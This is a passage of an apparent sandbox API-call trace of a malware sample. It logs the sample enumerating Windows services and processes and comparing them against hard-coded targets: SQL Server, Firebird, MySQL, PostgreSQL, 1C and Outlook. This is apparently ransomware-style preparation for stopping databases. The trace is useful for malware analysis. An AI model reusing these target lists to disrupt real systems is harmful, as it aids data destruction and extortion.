lpString2="iphlpsvc") returned 1 [0175.335] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0175.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0175.335] lstrlenW (lpString="LanmanServer") returned 12 [0175.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0175.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0175.337] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0175.337] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0175.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0175.337] lstrlenW (lpString="LanmanWorkstation") returned 17 [0175.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0175.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0175.337] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0175.337] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0175.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0175.337] lstrlenW (lpString="lmhosts") returned 7 [0175.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0175.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0175.338] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0175.338] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0175.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0175.338] lstrlenW (lpString="MMCSS") returned 5 [0175.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0175.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0175.338] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0175.338] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0175.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0175.338] lstrlenW (lpString="MpsSvc") returned 6 [0175.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0175.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0175.341] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0175.341] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0175.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0175.341] lstrlenW (lpString="Netman") returned 6 [0175.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0175.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0175.341] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0175.341] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0175.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0175.342] lstrlenW (lpString="netprofm") returned 8 [0175.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0175.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0175.342] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0175.342] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0175.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0175.342] lstrlenW (lpString="NlaSvc") returned 6 [0175.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0175.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0175.342] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0175.342] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0175.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0175.342] lstrlenW (lpString="nsi") returned 3 [0175.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0175.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0175.342] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0175.342] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0175.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0175.342] lstrlenW (lpString="PcaSvc") returned 6 [0175.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0175.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0175.365] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0175.365] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0175.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0175.365] lstrlenW (lpString="PlugPlay") returned 8 [0175.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0175.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0175.366] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0175.366] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0175.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0175.366] lstrlenW (lpString="Power") returned 5 [0175.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0175.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0175.366] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0175.366] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0175.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0175.366] lstrlenW (lpString="ProfSvc") returned 7 [0175.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0175.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0175.366] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0175.366] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0175.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0175.366] lstrlenW (lpString="RpcEptMapper") returned 12 [0175.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0175.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0175.366] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0175.366] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0175.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0175.366] lstrlenW (lpString="RpcSs") returned 5 [0175.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0175.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0175.367] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0175.367] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0175.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0175.367] lstrlenW (lpString="SamSs") returned 5 [0175.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0175.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0175.367] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0175.367] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0175.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0175.367] lstrlenW (lpString="Schedule") returned 8 [0175.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0175.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0175.367] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0175.367] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0175.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0175.367] lstrlenW (lpString="SENS") returned 4 [0175.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0175.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0175.367] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0175.367] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0175.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0175.367] lstrlenW (lpString="ShellHWDetection") returned 16 [0175.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0175.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0175.368] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0175.368] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0175.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0175.368] lstrlenW (lpString="Spooler") returned 7 [0175.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0175.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0175.368] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0175.368] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0175.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0175.368] lstrlenW (lpString="SysMain") returned 7 [0175.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0175.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0175.368] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0175.368] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0175.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0175.368] lstrlenW (lpString="Themes") returned 6 [0175.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0175.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0175.368] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0175.368] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0175.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0175.368] lstrlenW (lpString="TrkWks") returned 6 [0175.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0175.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0175.368] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0175.368] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0175.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0175.369] lstrlenW (lpString="UxSms") returned 5 [0175.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0175.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0175.369] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0175.369] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0175.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0175.369] lstrlenW (lpString="WdiServiceHost") returned 14 [0175.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0175.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0175.369] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0175.369] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0175.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0175.369] lstrlenW (lpString="WdiSystemHost") returned 13 [0175.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0175.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0175.369] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0175.369] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0175.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0175.369] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0175.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0175.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0175.370] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0175.370] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0175.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0175.370] lstrlenW (lpString="Winmgmt") returned 7 [0175.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0175.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0175.370] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0175.370] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0175.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0175.370] lstrlenW (lpString="WPDBusEnum") returned 10 [0175.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0175.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0175.370] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0175.370] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0175.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0175.370] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fe158 | out: hHeap=0x4b0000) returned 1 [0175.370] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e4 [0175.372] Process32FirstW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.373] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0175.373] lstrlenW (lpString="System") returned 6 [0175.373] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0175.373] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0175.373] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0175.373] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0175.373] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0175.373] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0175.373] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0175.373] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0175.374] lstrlenW (lpString="smss.exe") returned 8 [0175.374] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0175.374] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0175.374] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0175.374] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0175.374] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0175.374] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0175.374] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0175.374] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0175.374] lstrlenW (lpString="csrss.exe") returned 9 [0175.374] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0175.374] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0175.374] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0175.374] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0175.374] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0175.375] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0175.375] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0175.375] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0175.375] lstrlenW (lpString="wininit.exe") returned 11 [0175.375] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0175.375] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0175.375] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0175.375] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0175.375] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0175.375] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0175.375] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0175.375] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0175.376] lstrlenW (lpString="csrss.exe") returned 9 [0175.376] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0175.376] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0175.376] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0175.376] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0175.376] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0175.376] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0175.376] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0175.377] lstrlenW (lpString="winlogon.exe") returned 12 [0175.377] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0175.377] lstrlenW (lpString="services.exe") returned 12 [0175.377] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0175.377] lstrlenW (lpString="lsass.exe") returned 9 [0175.377] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0175.378] lstrlenW (lpString="lsm.exe") returned 7 [0175.398] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.398] lstrlenW (lpString="svchost.exe") returned 11 [0175.398] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.398] lstrlenW (lpString="svchost.exe") returned 11 [0175.398] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.399] lstrlenW (lpString="svchost.exe") returned 11 [0175.399] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.399] lstrlenW (lpString="svchost.exe") returned 11 [0175.399] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.400] lstrlenW (lpString="svchost.exe") returned 11 [0175.400] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0175.400] lstrlenW (lpString="audiodg.exe") returned 11 [0175.400] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.400] lstrlenW (lpString="svchost.exe") returned 11 [0175.400] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.401] lstrlenW (lpString="svchost.exe") returned 11 [0175.401] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0175.401] lstrlenW (lpString="spoolsv.exe") returned 11 [0175.401] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0175.402] lstrlenW (lpString="taskhost.exe") returned 12 [0175.402] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.402] lstrlenW (lpString="svchost.exe") returned 11 [0175.402] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0175.402] lstrlenW (lpString="dwm.exe") returned 7 [0175.402] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0175.403] lstrlenW (lpString="explorer.exe") returned 12 [0175.403] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0175.403] lstrlenW (lpString="reader_sl.exe") returned 13 [0175.403] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0175.403] lstrlenW (lpString="taskhost.exe") returned 12 [0175.404] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0175.404] lstrlenW (lpString="rundll32.exe") returned 12 [0175.404] Process32NextW (in: hSnapshot=0x1e4, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5d4, 